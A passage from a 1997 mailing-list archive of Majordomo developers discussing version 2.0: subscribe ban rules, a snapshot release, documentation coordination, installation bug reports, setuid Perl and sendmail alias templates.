Sat, 9 Aug 1997 01:47:56 -0500 (CDT) To: majordomo-workers@greatcircle.com Subject: Re: zubscribe/nozubscribe References: <199708090251.TAA07543@honor.greatcircle.com> Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 09 Aug 1997 01:47:55 -0500 In-Reply-To: Bill.Houle@SanDiegoCA.NCR.COM's message of Fri, 8 Aug 1997 19:53:59 -0700 Message-ID: Lines: 35 X-Mailer: Gnus v5.4.46/Emacs 19.34 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk >>>>> "BH" == Bill Houle writes: BH> I would like to see the "ban" idea expanded into an allow/deny BH> mechanism and be enabled on the per-list level. My thought was to add BH> "zubscribe" and "nozubscribe" regexp arrays to the config file, similar BH> to adv/noadvertise. Much simpler in 2.0. I've often used this as an example for access_rules: subscribe deny,reply="You are banned from this list." @banned Then add addresses to the auxiliary list named banned using the auxadd command. BH> [This is not an idle proposal -- if I get some time, I will implement BH> it. I just want to get some feedback as to whether it is a good thing BH> to do, and also give Jason a chance to think about something similar BH> (if he hasn't already) for 2.0.] Don't forget that 2.0 has command-level access restrictions implemented in a completely general manner, so big piles of things are possible that we're used to implementing as special cases. BH> However, I want to go on record and say that I still really like his BH> "sponsor" policy -- where any current member can add a zubscriber BH> without approval. I'll have to think about this; the address that's used in comparisons in the access_rules is the victim address. Somewhere down the road it wouldn't be a big deal to add some other kind of comparison. I think I can find plenty of uses for this. - J< From owner-majordomo-workers-outgoing Sat Aug 9 10:16:10 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id KAA05714 for majordomo-workers-outgoing; Sat, 9 Aug 1997 10:02:15 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id KAA05707 for ; Sat, 9 Aug 1997 10:02:07 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id MAA26234; Sat, 9 Aug 1997 12:03:44 -0500 (CDT) To: majordomo-workers@greatcircle.com Subject: Re: zubscribe/nozubscribe References: <199708090251.TAA07543@honor.greatcircle.com> Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 09 Aug 1997 12:03:44 -0500 In-Reply-To: Jason L Tibbitts III's message of 09 Aug 1997 01:47:55 -0500 Message-ID: Lines: 26 X-Mailer: Gnus v5.4.46/Emacs 19.34 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk >>>>> "JLT" == Jason L Tibbitts writes: JLT> zubscribe JLT> deny,reply="You are banned from this list." JLT> @banned And if you wanted regexps, zubscribe deny,reply="You are banned from this list." /idiots.com/i /dufus.com/i and you can get the inverted behavior: zubscribe allow /my.domain/i zubscribe deny,reply="You are banned from this list." ALL because rules match in order. - J< From owner-majordomo-workers-outgoing Mon Aug 11 23:40:37 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id XAA06758 for majordomo-workers-outgoing; Mon, 11 Aug 1997 23:33:31 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id XAA06717 for ; Mon, 11 Aug 1997 23:33:17 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id BAA08116; Tue, 12 Aug 1997 01:35:22 -0500 (CDT) To: majordomo-workers@greatcircle.com Subject: New snapshot Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 12 Aug 1997 01:35:22 -0500 Message-ID: Lines: 47 X-Mailer: Gnus v5.4.46/Emacs 19.34 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk OK, I'm tired of sitting on this so I've cut another snapshot. It's in ftp.hpc.uh.edu:/pub/majordomo/Majordomo-0.0199708120.tar.gz. I've mostly finished the delivery engine and I've integrated Ryan Tadlock's code for directly interfacing with qmail instead of using SMTP. I can't test it, but it's there. Oops, I forgot to document it; in delivery_rules, if you use a hostname of @qmail, you get the qmail interface. You should be able to use both the qmail and SMTP interfaces at the same time. I've expanded the installation procedure; the postinstall step can now create the very basic directory structure, set a couple of simple configuration bits (including the global master password) and install the various response files which I've written as placeholders. The shell interface now has a file argument, so you can incorporate a 1.9x list with mj_shell -d domain -p password -f old_list subscribe=quiet new_list I added address hiding to the who command; subscribers can choose to make their addresses invisible, showing just their names, or hide everything. If they don't have a comment field, just the local-part of the address is used as their name. This is accomplished through the set command, using 'hideaddress', 'hideall' and 'showall'. I implemented basic archiving; if you set archive_dir to something writable, archives will start to accumulate. This isn't really complete but it's close to the level that archive2.pl gives you. You can split the archives based on size, too. Enough data is stored to enable a slight hack on Dave's logmail program to generate list statistics. One day I'll incorporate it. I implemented 'put', so the owner can upload response files to the server. (This is how the installation script does it.) I fixed a bunch of bugs and fleshed out a bunch more of the internal code. This is getting close to what I'm willing to call alpha. It's not quite there yet, but most of my development is now in that direction. What remains is some more internal security, the removal of a bunch of debugging code, some additions to resend, and informing the list owner of list events. (I have some code from Colin Henein that's inspired me in the latter area.) Once all that's in, it will do all that 1.9x does except for digests and a bunch of things that 1.9x can't do. - J< From owner-majordomo-workers-outgoing Tue Aug 12 09:28:11 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id JAA16368 for majordomo-workers-outgoing; Tue, 12 Aug 1997 09:07:01 -0700 (PDT) Received: from MIT.EDU (SOUTH-STATION-ANNEX.MIT.EDU [18.72.1.2]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id JAA16345 for ; Tue, 12 Aug 1997 09:06:53 -0700 (PDT) Received: from PO8.MIT.EDU by MIT.EDU with SMTP id AA05673; Tue, 12 Aug 97 12:08:54 EDT Received: from REGGIE26.MIT.EDU by po8.MIT.EDU (5.61/4.7) id AA17689; Tue, 12 Aug 97 12:08:54 EDT Date: Tue, 12 Aug 97 12:08:54 EDT Message-Id: <9708121608.AA17689@po8.MIT.EDU> X-Sender: kevink@po8.mit.edu X-Mailer: Windows Eudora Pro Version 2.1.2 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" To: majordomo-workers@greatcircle.com From: Kevin Kelleher Subject: documentation blues Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk I've been trying to get going on the mj2 docs, but it's going slowly. In the forest/trees paradigm, I'm a leaf person - it's hard to feel I have an overview if I don't understand the parts. I've been reading code and reading the mj-workers archive (having missed the past year) but I am far from having the gestalt. Jason, could you point me at some piece that is done and in need of documentation? I think that if I do docs for the individual pieces that the overview stuff will be a breeze. If you pick some function or whatever about which you say to yourself, "I hope to god that they understand this," I can start there, and having finished that move to the next piece. ________________________________________________________________ Kevin Kelleher kevink@mit.edu http://world.std.com/~fury/ From owner-majordomo-workers-outgoing Tue Aug 12 12:15:13 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id LAA12621 for majordomo-workers-outgoing; Tue, 12 Aug 1997 11:18:54 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id LAA12578 for ; Tue, 12 Aug 1997 11:18:44 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id NAA17799; Tue, 12 Aug 1997 13:20:47 -0500 (CDT) To: majordomo-workers@greatcircle.com Subject: Re: documentation blues References: <9708121608.AA17689@po8.MIT.EDU> Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 12 Aug 1997 13:20:46 -0500 In-Reply-To: Kevin Kelleher's message of Tue, 12 Aug 97 12:08:54 EDT Message-ID: Lines: 47 X-Mailer: Gnus v5.4.46/Emacs 19.34 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk >>>>> "KK" == Kevin Kelleher writes: KK> I've been trying to get going on the mj2 docs, but it's going slowly. Well, feel free to ask questions. I don't expect anyone to be able to just figure it out, no matter how much stuff I write into the internal docs. KK> Jason, could you point me at some piece that is done and in need of KK> documentation? Well, the interfaces are pretty much finished, so the methods of interaction with mj_shell and mj_email are there waiting for a clean explanation. Of course, the email parser is anything but clean but you don't really have to worry about the internals. Things that need explaining are: the 'default' meta-command backslashes the < that the overview stuff will be a breeze. KK> If you pick some function or whatever about which you say to yourself, KK> "I hope to god that they understand this," I can start there, and KK> having finished that move to the next piece. KK> ________________________________________________________________ Kevin KK> Kelleher kevink@mit.edu http://world.std.com/~fury/ -- Jason L. Tibbitts III - tibbs@uh.edu - 713/743-3486 - 622PGH System Manager: University of Houston Department of Mathematics 1994 PC800 "Kuroneko" DoD# 1723 From owner-majordomo-workers-outgoing Wed Aug 13 06:56:55 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id GAA23645 for majordomo-workers-outgoing; Wed, 13 Aug 1997 06:53:28 -0700 (PDT) Received: from MIT.EDU (PACIFIC-CARRIER-ANNEX.MIT.EDU [18.69.0.28]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id GAA23610 for ; Wed, 13 Aug 1997 06:53:18 -0700 (PDT) Received: from PO8.MIT.EDU by MIT.EDU with SMTP id AA07188; Wed, 13 Aug 97 09:55:21 EDT Received: from REGGIE26.MIT.EDU by po8.MIT.EDU (5.61/4.7) id AA21389; Wed, 13 Aug 97 09:55:21 EDT Date: Wed, 13 Aug 97 09:55:21 EDT Message-Id: <9708131355.AA21389@po8.MIT.EDU> X-Sender: kevink@po8.mit.edu X-Mailer: Windows Eudora Pro Version 2.1.2 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" To: majordomo-workers@greatcircle.com From: Kevin Kelleher Subject: documentation: mj_shell Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk After Jason's comments, a little thought and looking around, I decided to start documenting mj_shell, unless someone has an objection. If you're already working on that one or had your eye on it, let me know and I'll pick something else. I had said that I'd do "what is mj" and "what are the differences between mj 1.9x and mj 2" but for the moment I'm leaving them -- if they interest any of you, you're welcome to them. Hopefully I will get to them later. ________________________________________________________________ Kevin Kelleher kevink@mit.edu http://world.std.com/~fury/ From owner-majordomo-workers-outgoing Wed Aug 13 16:44:14 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id QAA26511 for majordomo-workers-outgoing; Wed, 13 Aug 1997 16:01:42 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-970427-1) id OAA05360 for majordomo-workers@greatcircle.com; Wed, 13 Aug 1997 14:06:12 -0700 (PDT) Received: from ncr-sd.SanDiegoCA.NCR.COM (h153-64-252-2.NCR.COM [153.64.252.2]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id QAA00853 for ; Fri, 8 Aug 1997 16:56:30 -0700 (PDT) Received: from bill-houle (bill-houle.SanDiegoCA.NCR.COM [153.64.69.200]) by ncr-sd.SanDiegoCA.NCR.COM (8.8.5/8.7.3) with SMTP id QAA05975 for ; Fri, 8 Aug 1997 16:58:01 -0700 (PDT) Message-Id: <3.0.32.19970808165820.00960b40@www.sandiegoca.ncr.com> X-Sender: bhoule@www.sandiegoca.ncr.com X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Fri, 08 Aug 1997 16:59:28 -0700 To: majordomo-workers@greatcircle.com From: Bill Houle Subject: subscribe/nosubscribe Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk I have seen users on this list (and -users) ask for subscribe address "ban" capabilities. The answer has usually been to use the the taboo* settings at the server level. Other implementations (dare I say- "hacks"?) I have seen have used a separate file for address comparison. I would like to see the "ban" idea expanded into an allow/deny mechanism and be enabled on the per-list level. My thought was to add "subscribe" and "nosubscribe" regexp arrays to the config file, similar to adv/noadvertise. Addresses matching a "subscribe" regexp would bypass whatever closed/open setting was in place and automatically add the user. The subscribe list would be empty by default. +confirm would still be honored if set. Addresses matching an "unsubscribe" regexp would never get to the closed/open/auto verification and simply be denied. The unsubscribe list would be empty by default. So for instance: subscribe_policy=closed subscribe << END .*\.ncr.com END nosubscribe << END .*\.competitor\.com END Would allow anyone in my NCR domain to subscribe (with no list-owner involvement), but an external competitor could never be added unless specifically approved. >From an intranet standpoint, this would be a major timesaver in allowing list-owners to be hands-free for all internal domain access, but still trap outsiders trying to subscribe. Another advantage: lists can be made "auto" while still rejecting certain problem users/sites. Any holes in my logic? Comments? [This is not an idle proposal -- if I get some time, I will implement it. I just want to get some feedback as to whether it is a good thing to do, and also give Jason a chance to think about something similar (if he hasn't already) for 2.0.] --bill PS: For those that remember it (Message-Id: <199509012225.PAA23652@dokoka>), this is a little more 'open' than Alan Stebben's "local" policy addition, since the regexp array will allow for more than just the local domain. However, I want to go on record and say that I still really like his "sponsor" policy -- where any current member can add a subscriber without approval. From owner-majordomo-workers-outgoing Wed Aug 13 17:56:14 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id RAA14278 for majordomo-workers-outgoing; Wed, 13 Aug 1997 17:24:44 -0700 (PDT) Received: from mailgate2.boeing.com (mailgate2.boeing.com [199.238.248.100]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id RAA14266 for ; Wed, 13 Aug 1997 17:24:38 -0700 (PDT) Received: from splinter.boeing.com by mailgate2.boeing.com (SMI-8.6/SMI-SVR4) id RAA06746; Wed, 13 Aug 1997 17:26:41 -0700 Received: from bcstec.ca.boeing.com by splinter.boeing.com with SMTP (1.37.109.16/16.2) id AA230018088; Wed, 13 Aug 1997 17:21:28 -0700 Received: by bcstec.ca.boeing.com (4.1/SMI-4.1) id AA17516; Wed, 13 Aug 97 17:26:40 PDT From: vds@bcstec.ca.boeing.com (Vince Skahan) Message-Id: <9708140026.AA17516@bcstec.ca.boeing.com> Subject: documentation: INSTALL (plus coordination questions) To: majordomo-workers@greatcircle.com Date: Wed, 13 Aug 1997 17:26:39 -0700 (PDT) In-Reply-To: <9708131355.AA21389@po8.MIT.EDU> from "Kevin Kelleher" at Aug 13, 97 09:55:21 am Reply-To: vince.skahan@boeing.com X-Mailer: ELM [version 2.4 PL25] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk (Kevin Kelleher writes:) > I had said that I'd do "what is mj" and "what are > the differences between mj 1.9x and mj 2" but for > the moment I'm leaving them -- if they interest > any of you, you're welcome to them. Hopefully > I will get to them later. > I'm trying to install the snapshot on both HP/UX 10.20 and RedHat Linux (4.1 with 2.0.27 kernel) so I'll try to document a little of the 'how to INSTALL' type stuff or at least get it started. If anybody else is there first, please let me know so I don't duplicate your efforts. Also, I was thinking that a totally uncontrolled doc project might result in people duplicating stuff and wasting their limited time needlessly. I was wondering if the doc project needs a little bit of 'coordination' (which is hopefully not the same as 'anal control' :-) I guess my questions on that side would be: - is there anybody who'd like to coordinate the list of docs needed for 2.0 to handle who's got what piece(s) and possibly set up some 'majordomo 2.0 doc project' web pages ? I know there have been lots of suggestions on the 'workers list since the 2.0 efforts got started but I don't recall anyone consolidating them in one place that was readable without fighting through the list archives the hard way. - is a set of web pages worth doing for such early drafts and 'to-do-list' for the docs as a online 'one-stop-shopping' location to bookmark regarding the current state of the doc efforts ? => I'd say 'heck yes' even if it was just pointers to text files that were not prettied up in any way. - is there anybody who'd like to provide a hunk'o web server and account(s) to let people drop stuff off for review ? Thoughts ???? -- ----------- Vince Skahan -------------- vince.skahan@boeing.com ----------- A weird imagination is most useful to gain full advantage of all the features. - from the amd(8) man page From owner-majordomo-workers-outgoing Wed Aug 13 18:13:08 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id SAA21618 for majordomo-workers-outgoing; Wed, 13 Aug 1997 18:03:19 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-970427-1) id OAA07175 for majordomo-workers@greatcircle.com; Wed, 13 Aug 1997 14:16:25 -0700 (PDT) Received: from baker.cnw.com (baker.cnw.com [206.40.133.20]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id MAA02759 for ; Sun, 10 Aug 1997 12:13:24 -0700 (PDT) Received: from p166 (dyn-128-38.mtvernon.cnw.net [207.149.128.38]) by baker.cnw.com (8.8.5/8.7.3) with SMTP id MAA18036 for ; Sun, 10 Aug 1997 12:14:42 -0700 (PDT) Message-Id: <199708101914.MAA18036@baker.cnw.com> Comments: Authenticated sender is From: "Bob & Lauren" Organization: http://www.humvee.com To: majordomo-workers@GreatCircle.COM Date: Sun, 10 Aug 1997 12:15:04 +0000 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: Config file Reply-to: bish@azstarnet.com References: <9707311228.AA24396@po8.MIT.EDU> In-reply-to: X-mailer: Pegasus Mail for Win32 (v2.52) Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk Is there a comprehensive listing of config file commands with the exact syntax to be used for each, perhaps with examples, anywhere? The Majordomo List Owner's Guide (http://docuspace.uchicago.edu/g_maj-adm.html) lists "The most important configuration commands", but it's incomplete. ...Bob From owner-majordomo-workers-outgoing Thu Aug 14 10:42:46 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id KAA23905 for majordomo-workers-outgoing; Thu, 14 Aug 1997 10:34:32 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id KAA23859 for ; Thu, 14 Aug 1997 10:34:21 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id MAA23249; Thu, 14 Aug 1997 12:36:54 -0500 (CDT) To: majordomo-workers@greatcircle.com Subject: Re: documentation: INSTALL (plus coordination questions) References: <9708140026.AA17516@bcstec.ca.boeing.com> Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 14 Aug 1997 12:36:54 -0500 In-Reply-To: vds@bcstec.ca.boeing.com's message of Wed, 13 Aug 1997 17:26:39 -0700 (PDT) Message-ID: Lines: 34 X-Mailer: Gnus v5.4.46/Emacs 19.34 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk >>>>> "VS" == Vince Skahan writes: VS> I was wondering if the doc project needs a little bit of 'coordination' It probably couldn't hurt, assuming there are enough people willing to help. VS> is there anybody who'd like to coordinate the list of docs needed for VS> 2.0 to handle who's got what piece(s) and possibly set up some VS> 'majordomo 2.0 doc project' web pages ? Well, I can do some of that. I don't have the time to do 'pretty' web pages, but I can do some basic things. VS> I know there have been lots of suggestions on the 'workers list since VS> the 2.0 efforts got started but I don't recall anyone consolidating VS> them in one place that was readable without fighting through the list VS> archives the hard way. Well, I do try to distill every good suggestion into the TODO list in the distribution. This doesn't really include docs. VS> - is a set of web pages worth doing for such early drafts and VS> 'to-do-list' for the docs as a online 'one-stop-shopping' location to VS> bookmark regarding the current state of the doc efforts ? Not just for docs; people ask for pointers to a status page all the time. VS> is there anybody who'd like to provide a hunk'o web server and VS> account(s) to let people drop stuff off for review ? Yes. - J< From owner-majordomo-workers-outgoing Thu Aug 14 14:41:48 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id OAA01176 for majordomo-workers-outgoing; Thu, 14 Aug 1997 14:40:47 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id OAA01159 for ; Thu, 14 Aug 1997 14:40:39 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id QAA29585; Thu, 14 Aug 1997 16:42:52 -0500 (CDT) To: vince.skahan@boeing.com Cc: majordomo-workers@greatcircle.com Subject: Re: mj2.0 snapshot feedback on RedHat Linux References: <9708142024.AA24336@bcstec.ca.boeing.com> Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 14 Aug 1997 16:42:52 -0500 In-Reply-To: vds@bcstec.ca.boeing.com's message of Thu, 14 Aug 1997 13:24:23 -0700 (PDT) Message-ID: Lines: 77 X-Mailer: Gnus v5.4.46/Emacs 19.34 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk >>>>> "VS" == Vince Skahan writes: VS> It would be a BIG help if you could do a 'find . -exec ls -alg {} \'; VS> or equivalent on an installed mj2.0 tree plus the list tree to show VS> what it should all look like at the end (plus the associated aliases). Well, I don't know what it should look like when finished; the final installation is auto-generated by the Perl install tools. VS> I grabbed the aliases from the TASKS file at the bottom, but when I VS> mail 'help' to that majordomo alias (edited to fit here), I get a MIME VS> message back with no content. I also see no traces of logging VS> whatsoever, so info on how to turn logging on would help lots. It logs to syslog and to $::TMPDIR/mj_email.debug if you ask it to (use the -v flag). It also logs directly into the reply email if you use a subject with "DEBUG" in it. Of course, you should test using the shell interface anyway so you can get better debug info with -D. This is why I'm trying to get folks to help write documentation... VS> 2. On 'make postinstall' it could not open files/* for the items listed VS> in the %files hash in the postinstall program. Crap; I accidentally had that directory in MANIFEST.SKIP. I'll cut another complete snapshot later today. VS> 3. On 'make postinstall' if you've set the master password before, it VS> doesn't like it if you rerun the postinstall with 'yes' for the answer VS> for everything. Fixed in my sources. VS> 4. Why use setuid perl instead of a wrapper ? Because that's the way I want to do it. It's much easier to do that than to require compiling C. Besides, it will work if someone writes a wrapper; I'm just not going to do so. VS> It seems that many people will have trouble with the o/s-specific stuff VS> needed to get perl installed properly to support it (won't some o/s's VS> not support it and have Majordomo portability suffer as a result ?) No, if you can have a setuid C program, you can have setuid perl scripts even if you don't have setuid scripts. They are emulated. This is documented in the perlsec manpage. VS> 5. make should fail if tmp dir isn't there You have to explicitly confirm a nonexistent temp directory; I don't see the point in doing anything else. VS> 6. postinstall looks like it wants to make the bin dir contents mode VS> 6555, but it doesn't. What should the bin permissions and owner/group VS> be ? 06555. Does the chmod fail? VS> 7. what is the minimum set of majordomo 'administrative' aliases and VS> the aliases needed for a VERY simple list be plus what would the VS> required permissions for an unaltered installation plus the same list's VS> dirs and files look like? Aliases will be created automatically in the next version. The required aliases are given in README, though you can probably add owner aliases. You don't need anything else. VS> 8. logging blows up from the perl lib tree if you didn't run h2ph It VS> might be nice for the new config-test to check that. I don't see a need for a new config-test. If your configuration is wrong, it won't even install because it bootstraps itself. The config setting and file installation is all done by running actual Majordomo code. I suppose I could check to see if you installed perl correctly (and thus have all of the ph files) but that seems overkill. - J< From owner-majordomo-workers-outgoing Thu Aug 14 14:57:15 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id OAA01277 for majordomo-workers-outgoing; Thu, 14 Aug 1997 14:42:27 -0700 (PDT) Received: from mailgate2.boeing.com (mailgate2.boeing.com [199.238.248.100]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id OAA01261 for ; Thu, 14 Aug 1997 14:42:20 -0700 (PDT) Received: from splinter.boeing.com by mailgate2.boeing.com (SMI-8.6/SMI-SVR4) id OAA11228; Thu, 14 Aug 1997 14:19:44 -0700 Received: from bcstec.ca.boeing.com by splinter.boeing.com with SMTP (1.37.109.16/16.2) id AA124469956; Thu, 14 Aug 1997 13:19:16 -0700 Received: by bcstec.ca.boeing.com (4.1/SMI-4.1) id AA24336; Thu, 14 Aug 97 13:24:25 PDT From: vds@bcstec.ca.boeing.com (Vince Skahan) Message-Id: <9708142024.AA24336@bcstec.ca.boeing.com> Subject: mj2.0 snapshot feedback on RedHat Linux To: tibbs@hpc.uh.edu (Jason L Tibbitts) Date: Thu, 14 Aug 1997 13:24:23 -0700 (PDT) Cc: majordomo-workers@greatcircle.com Reply-To: vince.skahan@boeing.com X-Mailer: ELM [version 2.4 PL25] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk Jason: Here's what I have so far for you under Linux. ok, it got further than the HP try did :-) It would be a BIG help if you could do a 'find . -exec ls -alg {} \'; or equivalent on an installed mj2.0 tree plus the list tree to show what it should all look like at the end (plus the associated aliases). I grabbed the aliases from the TASKS file at the bottom, but when I mail 'help' to that majordomo alias (edited to fit here), I get a MIME message back with no content. I also see no traces of logging whatsoever, so info on how to turn logging on would help lots. I *was* able to mail to the 'list-request' with a subscribe message and it *did* subscribe me (wheee!!!!). I tried to mail to the list and it didn't send anything due to a sendmail gethostbyaddr() failure (I'm dialed in and the dynamic ppp addresses aren't in dns). I'll take it for a drive again after I tweak my sendmail a little as a workaround. -- ----------- Vince Skahan -------------- vince.skahan@boeing.com ----------- A weird imagination is most useful to gain full advantage of all the features. - from the amd(8) man page snapshot feedback - version 0.0199708120 RedHat 4.1 Linux (2.0.27 kernel) Sendmail 8.8.5, smrsh not enabled 1. Installed the following prerequisite perl modules which are not fully documented as being needed in the snapshot. - Data-Dumper-2.07 - MD5-1.7 - MIME-Base64-2.01 - libnet-1.0505 - MailTools-1.09 - Time-HiRes-01.10 - DateManip-5.10 - MIME-tools-3.204 2. On 'make postinstall' it could not open files/* for the items listed in the %files hash in the postinstall program. Faked it by creating a subdirectory in the MJ source dir and touching all the required files so they existed 3. On 'make postinstall' if you've set the master password before, it doesn't like it if you rerun the postinstall with 'yes' for the answer for everything. 4. Why use setuid perl instead of a wrapper ? It seems that many people will have trouble with the o/s-specific stuff needed to get perl installed properly to support it (won't some o/s's not support it and have Majordomo portability suffer as a result ?) 5. make should fail if tmp dir isn't there 6. postinstall looks like it wants to make the bin dir contents mode 6555, but it doesn't. What should the bin permissions and owner/group be ? 7. what is the minimum set of majordomo 'administrative' aliases and the aliases needed for a VERY simple list be plus what would the required permissions for an unaltered installation plus the same list's dirs and files look like? 8. logging blows up from the perl lib tree if you didn't run h2ph It might be nice for the new config-test to check that. From owner-majordomo-workers-outgoing Thu Aug 14 15:44:03 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id PAA07984 for majordomo-workers-outgoing; Thu, 14 Aug 1997 15:37:25 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id PAA07950 for ; Thu, 14 Aug 1997 15:37:16 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id RAA01310; Thu, 14 Aug 1997 17:39:50 -0500 (CDT) To: majordomo-workers@greatcircle.com Subject: Re: mj2.0 snapshot feedback on RedHat Linux References: <9708142024.AA24336@bcstec.ca.boeing.com> Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 14 Aug 1997 17:39:49 -0500 In-Reply-To: Jason L Tibbitts III's message of 14 Aug 1997 16:42:52 -0500 Message-ID: Lines: 36 X-Mailer: Gnus v5.4.46/Emacs 19.34 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk >>>>> "JLT" == Jason L Tibbitts writes: JLT> Aliases will be created automatically in the next version. BTW, this is what will be generated for sendmail: (if you ask it to generate the mail aliases) # Aliases for Majordomo majordomo: "|$bin/mj_email -d $dom" owner-majordomo: $own, majordomo-owner: $own, # End aliases for Majordomo (if you give it a list to make aliases for) # Aliases for $list $list: "|$bin/mj_resend -d $dom -l $list" $list-request: "|$bin/mj_email -d $dom -l $list" $list-owner: $own, owner-$list: $own, # End aliases for $list $own is the owner, $bin is the path to the bin directory, $dom is the domain. I'm still unsure of the owner-list <> list-owner thing. We're required to have the request address by RFC2142, but it doesn't say anything about owners. (Which I think is backwards and kind of dumb, but that's neither here nor there.) Comments? These are just strings that are sent back to the person who sent the createlist command, along with a header. ("Please add these aliases...".) People familiar with other MTAs are welcome to send me other things; I suppose qmail could produce a shell script to create all of the little files it needs. - J< From owner-majordomo-workers-outgoing Thu Aug 14 16:14:20 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id PAA10031 for majordomo-workers-outgoing; Thu, 14 Aug 1997 15:51:50 -0700 (PDT) Received: (brent@localhost) by honor.greatcircle.com (8.8.5/Honor-970427-1) id PAA10006; Thu, 14 Aug 1997 15:51:43 -0700 (PDT) Date: Thu, 14 Aug 1997 15:51:43 -0700 (PDT) From: Brent Chapman Message-Id: <199708142251.PAA10006@honor.greatcircle.com> Subject: vince.skahan@boeing.com tibbs@hpc.uh.eduRe: mj2.0 snapshot feedback on RedHat Linux Cc: majordomo-workers@greatcircle.com Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk >From: Jason L Tibbitts III >Date: 14 Aug 1997 16:42:52 -0500 > >>>>>> "VS" == Vince Skahan writes: > >VS> 4. Why use setuid perl instead of a wrapper ? > >Because that's the way I want to do it. It's much easier to do that than >to require compiling C. Besides, it will work if someone writes a wrapper; >I'm just not going to do so. > >VS> It seems that many people will have trouble with the o/s-specific stuff >VS> needed to get perl installed properly to support it (won't some o/s's >VS> not support it and have Majordomo portability suffer as a result ?) > >No, if you can have a setuid C program, you can have setuid perl scripts >even if you don't have setuid scripts. They are emulated. This is >documented in the perlsec manpage. For what 